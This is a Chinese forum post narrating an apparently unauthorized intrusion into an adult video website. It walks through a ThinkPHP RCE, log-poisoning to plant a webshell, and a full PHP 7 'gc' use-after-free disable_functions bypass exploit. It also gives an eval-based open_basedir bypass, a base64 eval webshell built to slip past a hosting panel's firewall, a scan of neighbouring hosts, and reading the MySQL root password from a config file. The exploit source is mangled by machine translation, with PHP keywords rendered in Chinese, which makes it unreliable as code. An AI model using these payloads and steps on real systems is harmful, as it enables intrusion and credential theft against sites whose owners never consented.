电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2790 人浏览分享

对一次宅男网站的渗透

[复制链接]
2790 0
本帖最后由 zhaorong 于 2021-1-5 15:50 编辑

0x00锁定目标初步尝试

起因是因为云盘因为有人在云盘类别里面发了某宅男网站链接 闲的无聊 职业病又犯了。

QQ截图20210105151809.png

网站 做了一下简单的信息收集发现是ThinkPHP V5.0.5,通过引用信息得到网站真实IP。

QQ截图20210105151855.png

直接使用RCE防御,成功执行phpinfo

QQ截图20210105151939.png

0x01同轴绕过disable_functions:

准备直接执行命令 弹壳 发现函数被替换:

98.png

看了下disable_functions替换了以下函数:

QQ截图20210105152157.png

拿到壳再说 首先在日志中先写一句话 然后利用文件包含去包含日志执行代码 大概思路就
是这样先利用报错把一句话写下来:

69.png

因为日志会不断刷新,因此这里需要包含日志重新写入一句话:

68.png

成功拿到贝壳:

67.png

经过查找资料 多次尝试以后发现可以通过PHP 7.0 <7.3(Unix)-'gc'禁用函数绕过:代码脚本:
<?php
#PHP 7.0-7.3 disable_functions绕过PoC(仅* nix)

#错误:https://bugs.php.net/bug.php?id = 72530

#此漏洞利用程序应可在所有PHP 7.0-7.3版本上使用
#自2019年10月10日发布,特别是:

#PHP 7.0-7.0.33
#PHP 7.1-7.1.31
#PHP 7.2-7.2.23
#PHP 7.3-7.3.10

#作者:https://github.com/mm0r1
pwn($ _ GET [123]);
函数pwn($ cmd){
    全局$ abc,$ helper;

    函数str2ptr(&$ str,$ p = 0,$ s = 8){
        $ address = 0;
        for($ j = $ s-1; $ j> = 0; $ j--){
            $ address << = 8;
            $ address | = ord($ str [$ p + $ j]);
        }
        返回$ address;
    }
    函数ptr2str($ ptr,$ m = 8){
        $ out =“”;
        对于($ i = 0; $ i <$ m; $ i ++){
            $ out。= chr($ ptr&0xff);
            $ ptr >> = 8;
        }
        返回$ out;
    }

    函数write(&$ str,$ p,$ v,$ n = 8){
        $ i = 0;
        for($ i = 0; $ i <$ n; $ i ++){
            $ str [$ p + $ i] = chr($ v&0xff);
            $ v >> = 8;
        }
    }
    函数泄漏($ addr,$ p = 0,$ s = 8){
        全局$ abc,$ helper;
        写($ abc,0x68,$ addr + $ p-0x10);
        $ leak = strlen($ helper-> a);
        if($ s!= 8){$ leak%= 2 <<($ s * 8)-1; }
        返回$泄漏;
    }

    函数parse_elf($ base){
        $ e_type =泄漏($ base,0x10,2);

        $ e_phoff =泄漏($ base,0x20);
        $ e_phentsize =泄漏($ base,0x36,2);
        $ e_phnum =泄漏($ base,0x38,2);
        for($ i = 0; $ i <$ e_phnum; $ i ++){
            $ header = $ base + $ e_phoff + $ i * $ e_phentsize;
            $ p_type =泄漏($ header,0,4);
            $ p_flags =泄漏($ header,4,4);
            $ p_vaddr =泄漏($ header,0x10);
            $ p_memsz =泄漏($ header,0x28);

            if($ p_type == 1 && $ p_flags == 6){#PT_LOAD,PF_Read_Write
                #处理派
                $ data_addr = $ e_type == 2?$ p_vaddr:$ base + $ p_vaddr;
                $ data_size = $ p_memsz;
            } else if($ p_type == 1 && $ p_flags == 5){#PT_LOAD,PF_Read_exec
                $ text_size = $ p_memsz;
            }
        }
        if(!$ data_addr ||!$ text_size ||!$ data_size)
            返回false;

        返回[$ data_addr,$ text_size,$ data_size];
    }

    函数get_basic_funcs($ base,$ elf){
        list($ data_addr,$ text_size,$ data_size)= $ elf;
        for($ i = 0; $ i <$ data_size / 8; $ i ++){
            $泄漏=泄漏($ data_addr,$ i * 8);
            if($ leak-$ base> 0 && $ leak-$ base <$ text_size){
                $ deref =泄漏($ leak);
                #'常量'常量检查
                if($ deref!= 0x746e6174736e6f63)
                    继续;
            }其他继续;
            $ leak =泄漏($ data_addr,($ i + 4)* 8);
            if($ leak-$ base> 0 && $ leak-$ base <$ text_size){
                $ deref =泄漏($ leak);
                #'bin2hex'常量检查
                if($ deref!= 0x786568326e6962)
                    继续;
            }其他继续;

            返回$ data_addr + $ i * 8;
        }
    }

    函数get_binary_base($ binary_leak){
        $ base = 0;
        $ start = $ binary_leak&0xfffffffffffffff000;
        for($ i = 0; $ i <0x1000; $ i ++){
            $ addr = $ start-0x1000 * $ i;
            $ leak =泄漏($ addr,0,7);
            if($ leak == 0x10102464c457f){#ELF标头
                返回$ addr;
            }
        }
    }

    函数get_system($ basic_funcs){
        $ addr = $ basic_funcs;
        做{
            $ f_entry =泄漏($ addr);
            $ f_name =泄漏($ f_entry,0,6);

            if($ f_name == 0x6d6574737973){#系统
                返回泄漏($ addr + 8);
            }
            $ addr + = 0x20;
        } while($ f_entry!= 0);
        返回false;
    }

    黑麦类{
        var $ ryat;
        var $ chtg;
        
        函数__destruct()
        {
            $ this-> chtg = $ this-> ryat;
            $ this-> ryat = 1;
        }
    }
    类助手{
        公用$ a,$ b,$ c,$ d;
    }
    if(stristr(PHP_OS,'WIN')){
        die('此PoC仅适用于* nix系统。');
    }
    $ n_alloc = 10; #如果遇到段错误,请增加此值
    $ contiguous = [];
    for($ i = 0; $ i <$ n_alloc; $ i ++)
        $ contiguous [] = str_repeat('A',79);
    $ poc ='a:4:{i:0; i:1; i:1; a:1:{i:0; O:4:“ ryat”:2:{s:4:“ ryat”; R :3; s:4:
“ chtg”; i:2;}} i:1; i:3; i:2; R:5;}';
    $ out =反序列化($ poc);
    gc_collect_cycles();
    $ v = [];
    $ v [0] = ptr2str(0,79);
    unset($ v);
    $ abc = $ out [2] [0];
    $ helper =新的助手;
    $ helper-> b =函数($ x){};

    if(strlen($ abc)== 79){
        die(“ UAF失败”);
    }
    #泄漏
    $ closure_handlers = str2ptr($ abc,0);
    $ php_heap = str2ptr($ abc,0x58);
    $ abc_addr = $ php_heap-0xc8;
    #假值
    write($ abc,0x60,2);
    写($ abc,0x70,6);
    #假参考
    写($ abc,0x10,$ abc_addr + 0x60);
    write($ abc,0x18,0xa);
    $ closure_obj = str2ptr($ abc,0x20);
    $ binary_leak =泄漏($ closure_handlers,8);
    if(!($ base = get_binary_base($ binary_leak))){
        die(“无法确定二进制基址”);
    }
    if(!($ elf = parse_elf($ base))){
        die(“无法解析ELF标头”);
    }
    if(!($ basic_funcs = get_basic_funcs($ base,$ elf))){
        die(“无法获得basic_functions地址”);
    }
    if(!($ zif_system = get_system($ basic_funcs))){
        die(“无法获得zif_system地址”);
    }
    #伪造的关闭对象
    $ fake_obj_offset = 0xd0;
    for($ i = 0; $ i <0x110; $ i + = 8){
        写($ abc,$ fake_obj_offset + $ i,泄漏($ closure_obj,$ i));
    }
    #pwn
    写($ abc,0x20,$ abc_addr + $ fake_obj_offset);
    写($ abc,0xd0 + 0x38,1,4); #内部函数类型
    写($ abc,0xd0 + 0x68,$ zif_system); #内部函数处理程序
    ($ helper-> b)($ cmd);
    出口();
}

发布代码脚本到目标服务器上 成功执行

66.png

0x02深度绕过过open_basedir:

发现目标不能访问根目录 查看一下phpinfo发现open_basedir函数限制了访问目录:

65.png

使用代码:
  1. <?php
  2. 回声'open_basedir:'.ini_get('open_basedir')。'<br>';
  3. 回声'GET:'。$ _ GET ['c']。'<br>';
  4. eval($ _ GET ['c']);
  5. 回声'open_basedir:'.ini_get('open_basedir');
  6. ?>
复制代码

成功突破目录限制:

64.png

通过敏感信息收集读取到日志文件 发现目标存在phpmyadmin:

63.png

得到目录phpmyadmin路径后判断出目标使用了宝塔宝塔一般替换把phpmyadmin
建造在888端口上面:

62.png

找到数据库密码 登录之:

61.png

80多万访问IP这网站有点逆天播放次数那么多的那位老哥 注意身体啊 由于MySQL权限不够
于是不考虑继续利用MySQL:

60.png

0x03再探绕过宝塔防火墙:

由于某些原因,渗透搁置了一部分 再次来看的时候发现马被删除了重新拿
壳的时候发现对方开了宝塔的防火墙。

19.png

怎么办,不能鼓励,继续怼它 对宝塔返回信息判断 应该是只对对准的参数正确判断 判断是否有敏感函数
并没有对文件内容做验证修改了下exp,在次成功编写外壳:

访问:http://XXXXX/12345678.php就会在根目录下生成2222222.php文件
2222222.php的文件内容
//把参数以base64形式初始化,然后解嘛,这样就能绕过过宝塔对参数的检测
<?php eval(base64_decode($ _ GET [1337]));; ?>

代码执行成功:

18.png

看了下时间 半夜2点了 睡觉了 第二天还要上班 于是关掉了电脑 下班后 继续打开网站
发现网站突破不能利用了 一下子开始发慌了:

17.png

冷静一下 想其他办法 一般这样的网站都不止一个ip 扫一下c段看看有没有收获 最终发现隔壁ipxxx.xxx.xxx.42
和目标(xxx.xxx.xxx.43)一模一样 此ip开启了dubug可以存在漏洞 于是直接搞:

16.png

查看一下以root用户运行的进程发现MySQL是root权限运行:

15.png

通过查看mysqld_safe的配置文件(/etc/my.cnf)发现root用户密码:

14.png

尝试了UDF提权 root用户登录phpmyadmin 看下MySQL版本5.6.47-log

13.png

在看下/ www / server / mysql / lib / plugin目录权限 不可写 放弃udf提权:

12.png

打算劫持来提权的 但是发现www用户是nologin用户 不存在自己的家目录 也没有.bash_profile
这个文件 所以劫持不了命令了。

11.png

可惜了 最终尝试了多种提权方法都失败了 但在整个渗透的过程中 还是有比较多值得回味的
过程因此写下了这篇文章 希望能给大家更多的启发。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.